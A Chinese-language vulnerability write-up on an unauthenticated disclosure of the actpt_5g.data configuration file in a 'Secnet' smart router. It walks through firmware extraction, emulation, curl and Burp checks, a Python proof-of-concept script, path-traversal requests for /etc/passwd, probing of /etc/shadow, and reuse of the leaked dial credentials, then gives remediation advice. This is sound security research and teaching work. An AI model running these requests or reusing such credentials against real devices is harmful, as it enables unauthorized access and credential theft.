物联网设备信息泄露漏洞深度剖析：从actpt_5g.data文件到未授权访问实战

1. 项目概述：一次典型物联网设备信息泄露漏洞的深度剖析

最近在分析一批物联网设备固件时，一个名为 actpt_5g.data 的文件引起了我的注意。这个文件出现在一个名为“Secnet-智能路由系统”的设备中，初步判断其可能包含敏感配置信息。经过一番逆向和测试，确认这确实是一个信息泄露漏洞，攻击者无需任何认证即可直接下载该文件，从而获取设备的各类敏感信息。这类漏洞在物联网和网络设备中其实相当普遍，但往往因为设备部署在内网或被认为“不重要”而被忽视。今天，我就带大家完整复现这个漏洞，并深入聊聊其背后的成因、危害以及我们作为安全研究员或运维人员该如何应对。无论你是想学习漏洞复现流程的新手，还是想了解物联网设备常见安全隐患的从业者，这篇文章都将提供一次从发现到验证的完整实操记录。

2. 漏洞背景与核心原理拆解

2.1 Secnet-智能路由系统与 actpt_5g.data 文件

Secnet-智能路由系统并非某个单一品牌，而更像是一套由方案提供商开发的通用智能路由/网关系统软件，被许多白牌或中小品牌的4G/5G工业路由器、物联网网关所采用。这类设备通常部署在电力、交通、安防等工业场景，负责数据采集和远程传输。

actpt_5g.data 这个文件名很有指向性。“actpt”可能是“account point”或“activation point”的缩写，而“5g”则指明了其与5G网络模块相关。在实际分析中，我发现这个文件通常位于设备的Web服务根目录（如 /www/ ）或某个特定的配置目录下。它的作用，是存储设备连接到运营商5G网络时所需的关键配置参数和状态信息。

2.2 漏洞核心：未授权访问与路径遍历

这个漏洞的本质可以归结为两个常见安全问题的叠加：

1. 敏感文件错误部署 ：开发人员将本应放在非Web可访问目录的配置文件，错误地放置在了Web服务器能够直接对外提供服务的目录下。这属于安全开发生命周期（SDLC）中配置管理环节的失误。

2. 访问控制缺失 ：Web服务器（通常是轻量级的 boa 或 httpd ）没有对该文件路径设置任何访问控制规则。它没有检查访问者的会话（Session）或Cookie，也没有通过后端CGI程序来鉴权并代理访问该文件，而是允许任何HTTP请求直接读取该静态文件。

更危险的一种情况是，如果Web应用存在路径遍历漏洞（Path Traversal），攻击者即使不知道确切文件名，也可能通过构造诸如 ../../../etc/passwd 或 ../../actpt_5g.data 的请求来尝试访问系统文件。在本案例中，属于第一种直接暴露的情况。

注意 ：许多嵌入式设备的Web服务以高权限（如root）运行，一旦存在路径遍历，危害性会急剧放大，可能导致设备完全沦陷。

2.3 潜在泄露信息分析

一个 actpt_5g.data 文件里可能有什么？根据对同类系统的分析，其内容通常是明文或简单编码（如Base64）的文本，可能包含以下敏感信息：

• APN配置 ：运营商接入点名称，这是设备上网的核心配置。
• 拨号账号密码 ：用于连接蜂窝网络的PAP/CHAP认证凭据。虽然可能是预共享的，但泄露仍会增加风险。
• 设备标识 ：如IMEI、ICCID、IMSI等，这些信息可用于设备追踪或关联其他攻击。
• 网络状态信息 ：信号强度、连接状态、IP地址等。
• 管理接口信息 ：可能包含内部管理IP、端口或简易密码。

获取这些信息，攻击者可以：

• 克隆网络接入 ：在另一台设备上使用相同的APN和凭据接入网络，可能产生额外费用或进行非法活动。
• 网络拓扑探测 ：了解设备所在网络的环境。
• 作为跳板 ：结合其他漏洞，进一步渗透到该设备连接的内网。
• 信息收集 ：为后续更有针对性的攻击做准备。

3. 漏洞复现环境搭建与工具准备

3.1 环境准备策略

要复现漏洞，我们首先需要一个目标。有几种途径：

1. 真实设备 ：如果你手头有疑似使用该系统的路由器（通常可通过搜索设备Web界面源代码中的“Secnet”关键字识别），这是最佳选择。 务必在独立的、与生产环境隔离的网络中进行测试 。
2. 固件模拟 ：更常见且安全的方式是获取设备的固件（可从官网下载或通过其他方式获得），在虚拟机中模拟运行。
3. 仿真环境 ：使用如 qemu-system-mips 或 qemu-system-arm 来运行提取出的文件系统，并搭配适当的网络配置。

本次复现，我将以 固件模拟 为例进行讲解，因为它不依赖实体硬件，可重复性强，最适合学习和研究。

3.2 必备工具清单

工欲善其事，必先利其器。以下是整个复现过程需要用到的核心工具：

3.3 固件获取与初步分析

假设我们通过某种渠道获得了一个名为 secnet_router_v2.1.4.bin 的固件文件。

第一步，使用 binwalk 进行初步分析：

binwalk secnet_router_v2.1.4.bin

输出可能会显示多个压缩包（如LZMA、Squashfs）和文件系统。记下各个部分的偏移量。

第二步，提取文件系统。如果 binwalk -e 自动提取不成功，可以手动操作：

# 假设识别出Squashfs文件系统在偏移0x123456处
dd if=secnet_router_v2.1.4.bin bs=1 skip=$((0x123456)) of=filesystem.squashfs
# 解压Squashfs文件系统
unsquashfs -d ./squashfs-root filesystem.squashfs

解压后，你会得到一个 squashfs-root 目录，里面就是设备的完整根文件系统。

3.4 定位关键文件与Web目录

进入文件系统目录，开始搜索我们的目标：

cd squashfs-root
find . -name "*actpt*" -type f 2>/dev/null
find . -name "*.data" -type f 2>/dev/null

同时，我们需要找到Web服务器的根目录，通常在 /www 、 /htdocs 、 /web 或 /var/www 下。查看 etc 目录下的 httpd.conf 、 lighttpd.conf 或 boa.conf 等配置文件也能确定。

find . -path "./www" -type d 2>/dev/null
find . -name "*.conf" | xargs grep -l "DocumentRoot" 2>/dev/null

假设我们在 /www 目录下找到了 actpt_5g.data 文件。用 cat 或 strings 命令快速查看其内容，确认其包含敏感信息（如APN、用户名等）。

4. 漏洞验证与利用实操过程

4.1 搭建仿真测试环境

为了在本地验证漏洞，我们需要让设备的Web服务跑起来。由于固件很可能是ARM或MIPS架构，我们需要使用 qemu-user-static 进行仿真。

首先，安装并配置 qemu-user-static ：

# Ubuntu/Debian
sudo apt update
sudo apt install qemu-user-static
# 将qemu解释器复制到固件文件系统中
sudo cp /usr/bin/qemu-arm-static ./squashfs-root/usr/bin/
# 或 qemu-mips-static，具体取决于file命令查看的架构

然后，挂载必要的系统目录并 chroot ：

# 挂载proc, sys, dev等虚拟文件系统
sudo mount -t proc /proc ./squashfs-root/proc
sudo mount -t sysfs /sys ./squashfs-root/sys
sudo mount -o bind /dev ./squashfs-root/dev
# 切换到仿真环境
sudo chroot ./squashfs-root /bin/sh

现在，你就在一个模拟的设备Shell中了。尝试启动Web服务，通常启动脚本在 /etc/init.d/ 下，如 ./etc/init.d/httpd start 或 ./usr/sbin/boa 。注意观察错误信息，可能需要调整网络接口或配置文件。

4.2 手动漏洞验证

假设Web服务成功启动在本机的 8080 端口。我们从宿主机（非chroot环境）进行测试。

方法一：使用curl直接请求

curl -v http://192.168.1.100:8080/actpt_5g.data

• -v 参数显示详细过程，可以看到HTTP响应码。如果返回 200 OK 并且内容正是我们之前看到的敏感信息，漏洞即存在。
• 如果文件不在Web根目录，可能需要尝试绝对路径或相对路径遍历，例如：

  curl -v "http://192.168.1.100:8080/../../etc/passwd"
  curl -v "http://192.168.1.100:8080/cgi-bin/../../actpt_5g.data"
  

方法二：使用浏览器或Burp Suite

1. 在浏览器中直接输入URL： http://<设备IP>:<端口>/actpt_5g.data 。
2. 使用Burp Suite：
   • 配置浏览器代理到Burp。
   • 在浏览器中访问设备任意页面，Burp会捕获请求。
   • 在Burp的Proxy -> HTTP history中，右键选中一个请求，选择“Send to Repeater”。
   • 在Repeater标签页，将请求路径修改为 /actpt_5g.data ，点击“Send”。
   • 观察右侧响应，如果直接返回文件内容，则漏洞确认。

4.3 编写简单的漏洞验证脚本

为了提高效率，可以写一个简单的Python脚本来自动化测试：

#!/usr/bin/env python3
import requests
import sys

def check_vuln(url):
    """检查目标URL是否存在actpt_5g.data文件泄露"""
    vuln_url = url.rstrip('/') + '/actpt_5g.data'
    try:
        resp = requests.get(vuln_url, timeout=5)
        if resp.status_code == 200:
            # 简单判断内容是否包含敏感关键词
            content = resp.text
            if 'APN' in content or 'username' in content.lower() or 'password' in content.lower():
                print(f'[+] 漏洞存在！文件内容已泄露: {vuln_url}')
                print(f'[+] 内容预览（前500字符）:\n{content[:500]}')
                return True
            else:
                print(f'[-] 文件可访问，但未检测到明显敏感内容: {vuln_url}')
                return False
        else:
            print(f'[-] 文件不可访问，状态码: {resp.status_code}')
            return False
    except requests.exceptions.RequestException as e:
        print(f'[-] 请求失败: {e}')
        return False

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f'用法: {sys.argv[0]} <目标URL>')
        print(f'示例: {sys.argv[0]} http://192.168.1.1')
        sys.exit(1)
    target_url = sys.argv[1]
    check_vuln(target_url)

这个脚本会尝试访问目标设备的 actpt_5g.data 文件，并根据响应状态和内容关键词进行初步判断。

4.4 信息提取与利用演示

假设我们成功下载了 actpt_5g.data ，其内容格式可能如下（示例）：

[5G_Config]
APN=cmnet
Dial_User=user123
Dial_Pass=pass456
IMEI=123456789012345
Current_IP=10.10.1.100

拿到这些信息后：

1. 网络接入尝试 ：可以尝试在另一台支持5G的模块或路由器上，配置相同的APN（cmnet）、用户名（user123）和密码（pass456），看是否能成功接入同一运营商网络。
2. 进一步渗透 ：如果 Current_IP 是内网IP（如 10.10.1.100 ），结合设备可能存在的其他漏洞（如默认口令、未授权命令执行），可以尝试攻击该管理IP。
3. 信息关联 ：收集到的IMEI等信息，可用于设备指纹识别，在更大的攻击链中发挥作用。

实操心得 ：在实际渗透测试中，遇到这类信息泄露漏洞，不要仅仅停留在“证明漏洞存在”。要像攻击者一样思考，思考这些信息“能用来做什么”，并尝试进行有限的、授权的验证，这样才能真正评估风险等级。例如，尝试用泄露的凭据去登录运营商测试门户（如果有），或者验证其在内网的可达性。

5. 漏洞深度分析与修复方案

5.1 漏洞根因与代码层面分析

为什么会出现这个问题？我们可以尝试在提取的固件文件系统中寻找相关的Web程序（可能是C语言编写的CGI程序）进行逆向分析。

使用 find 命令查找处理Web请求的二进制文件：

find ./squashfs-root -type f -name "*.cgi" -o -name "*.bin" | xargs file | grep executable

找到可疑文件后，用 strings 快速搜索：

strings ./squashfs-root/www/cgi-bin/setup.cgi | grep -i "actpt"

或者使用Ghidra进行反编译，搜索处理文件路径或响应的函数。常见的漏洞代码模式可能是：

• 直接使用用户输入的路径参数，拼接后传递给文件读取函数（如 fopen ），没有进行规范化或过滤（导致路径遍历）。
• 静态文件映射配置错误，在 boa.conf 或 lighttpd.conf 中，将整个 /var 或 /etc 目录错误地别名（Alias）到了Web可访问路径下。

例如，一个危险的Boa配置可能如下：

# 错误配置：将配置目录映射到了Web路径
Alias /config/ "/var/config/"

这使得 /var/config/actpt_5g.data 可以通过 http://device/config/actpt_5g.data 直接访问。

5.2 修复方案与加固建议

针对厂商和开发人员，修复此漏洞需要从多个层面入手：

1. 立即修复（治标） ：

   • 移动或删除文件 ：将 actpt_5g.data 等敏感配置文件移出Web根目录，放到如 /etc/ 、 /data/ 等非Web可访问位置。
   • 增加访问控制 ：如果文件必须通过Web访问，则应通过后端CGI程序进行严格的会话验证和权限检查后，再由程序读取文件内容并返回，而不是直接提供静态文件访问。
   • Web服务器配置 ：检查并修正Web服务器配置文件，确保没有错误的 Alias 或 Directory 指令将敏感目录暴露。

2. 长期加固（治本） ：

   • 安全开发培训 ：对嵌入式开发人员进行安全编码培训，强调最小权限原则、输入验证和敏感信息处理。
   • 代码审计 ：在发布前，对涉及文件操作、路径处理的代码进行专项安全审计，特别是使用C语言的CGI程序。
   • 配置清单检查 ：建立固件发布前的安全检查清单，其中必须包含“检查Web目录下是否存在非必要的敏感文件”这一项。
   • 漏洞扫描 ：将此类信息泄露漏洞纳入产品出厂前的自动化安全测试流程。

3. 对于已部署设备的用户 ：

   • 升级固件 ：联系设备厂商，询问是否有包含安全更新的新固件。
   • 网络隔离 ：如果无法立即升级，确保将此类物联网设备部署在独立的VLAN中，严格限制从外部网络甚至办公网络对其的访问。
   • 防火墙策略 ：在设备前端部署防火墙，仅允许必要的业务端口（如特定的数据上报端口）通过，阻断对设备Web管理界面（80/443端口）的任意访问，仅允许受信任的管理IP访问。

5.3 同类漏洞的拓展挖掘

掌握了这个漏洞的挖掘方法，你可以举一反三，去发现更多类似问题：

• 文件扩展名枚举 ：尝试访问 .bak , .swp , .old , .txt , .cfg , .conf , .ini , .dat 等常见备份或配置文件。
• 目录枚举 ：尝试访问 /backup/ , /config/ , /admin/ , /db/ , /log/ 等常见目录。
• 通用路径 ：尝试 /etc/passwd , /etc/shadow , /proc/version , /proc/cpuinfo 等系统信息文件。
• 源码泄露 ：尝试访问 .git/ , .svn/ , .DS_Store 等版本控制或编辑器临时文件。
• API信息泄露 ：访问 /api , /rest , /swagger-ui.html 等接口文档页面。

使用工具如 dirb , gobuster 或 ffuf 可以自动化这个过程：

ffuf -u http://TARGET/FUZZ -w common_files.txt -mc 200

其中 common_files.txt 是你收集的常见敏感文件路径字典。

6. 复现过程中的常见问题与排查技巧

6.1 固件提取失败或文件系统损坏

• 问题 ： binwalk -e 提取不出文件，或者提取出的文件系统无法挂载。
• 排查 ：
  1. 确认文件类型 ：用 file 命令查看固件真实格式。有时厂商会自定义头部或加密。
  2. 尝试手动提取 ：用十六进制编辑器（如 hexdump -C 或 xxd ）查看固件，搜索 sqsh 、 hsqs （Squashfs幻数）或 0x1f 0x8b （gzip幻数）等特征，手动 dd 切割。
  3. 使用备选工具 ：尝试 firmware-mod-kit 里的 extract-firmware.sh 脚本，或者 binwalk 的 --dd 选项指定类型提取。
  4. 检查加密 ：如果固件明显被加密（无规律字节），可能需要寻找解密工具或分析引导程序。

6.2 Web服务在仿真环境中无法启动

• 问题 ：在 chroot 的 qemu 环境中，执行启动Web服务的命令后无响应或报错。
• 排查 ：
  1. 检查依赖 ：使用 ldd 命令检查Web服务器二进制文件（如 /usr/sbin/boa ）是否缺少动态链接库。在仿真环境中，可能需要手动复制宿主机的库文件，或使用 qemu 的 -L 参数指定库路径。
  2. 查看日志 ：Web服务通常有日志输出到 stderr 或 /var/log/ 下的文件。在启动命令后加上 & 放入后台，然后 tail -f 查看日志文件。
  3. 网络接口 ：嵌入式Web服务可能绑定到特定的网络接口（如 br0 、 eth0.1 ）。在仿真环境中这些接口不存在，导致启动失败。可以尝试修改配置文件，将绑定地址改为 0.0.0.0 或 127.0.0.1 。
  4. 权限问题 ：确保在 chroot 环境中以适当权限运行（有时需要root）。

6.3 漏洞无法复现（请求返回403或404）

• 问题 ：按照推测的路径访问，但服务器返回 403 Forbidden 或 404 Not Found 。
• 排查 ：
  1. 路径错误 ：确认Web根目录。检查 httpd.conf 等配置文件中的 DocumentRoot 或 ServerRoot 指令。
  2. 文件不存在 ：可能目标设备固件版本不同，文件名或路径有差异。尝试用 find 命令在文件系统中搜索所有包含“5g”、“actpt”、“config”等关键词的文件。
  3. 访问控制生效 ：可能设备的最新固件已修复，对特定路径做了IP白名单或基础认证。尝试使用Burp Suite拦截一个正常的登录请求，分析其认证机制（如Cookie、Token），然后重放给目标路径。
  4. 后缀名或大小写 ：尝试 .data 、 .DATA 、 .txt 等不同后缀，或大小写组合。

6.4 获取的文件内容乱码或加密

• 问题 ：成功下载了 actpt_5g.data ，但内容是乱码或看似加密的。
• 排查 ：
  1. 识别编码 ：用 file 命令查看文件类型。用 hexdump -C 查看头部，判断是否是二进制格式。
  2. 常见编码 ：尝试用 base64 -d 解码，或用 xxd -r -p 处理十六进制文本。也可能是简单的异或（XOR）加密，观察是否有重复的字节模式。
  3. 逆向程序 ：最根本的方法是找到读写这个文件的程序（可能是 /usr/bin/config_tool 之类的），逆向其读写逻辑，从而解密。

6.5 自动化脚本误报与优化

• 问题 ：自己写的漏洞验证脚本误将正常的404页面或错误信息当作漏洞存在。
• 优化技巧 ：
  1. 多特征匹配 ：不仅仅检查状态码200和单个关键词。可以检查内容长度（敏感配置文件通常较小，几百字节到几KB），检查内容中是否同时出现多个关键词（如“APN”和“Password”）。
  2. 基线对比 ：先访问一个肯定不存在的随机文件（如 random12345.txt ），记录其404响应的特征（如特定错误页面、长度）。在检测目标文件时，对比响应特征，排除通用的404页面。
  3. 内容格式判断 ：敏感配置通常是键值对（ key=value ）、JSON或XML格式。可以增加简单的正则表达式来判断内容结构。
  4. 降低误报率 ：在脚本中增加“确认”环节，例如，如果检测到疑似泄露，再自动访问另一个常见的敏感文件（如 /etc/passwd ）进行辅助判断，两者都成功才最终报漏洞。

在整个复现和排查过程中，耐心和细致是关键。嵌入式设备环境千差万别，遇到问题多查日志、多尝试不同的思路，并善用搜索引擎和开源社区的经验。每一次成功的漏洞复现，不仅是对一个安全问题的验证，更是对你自己分析能力和技术栈的一次扎实锻炼。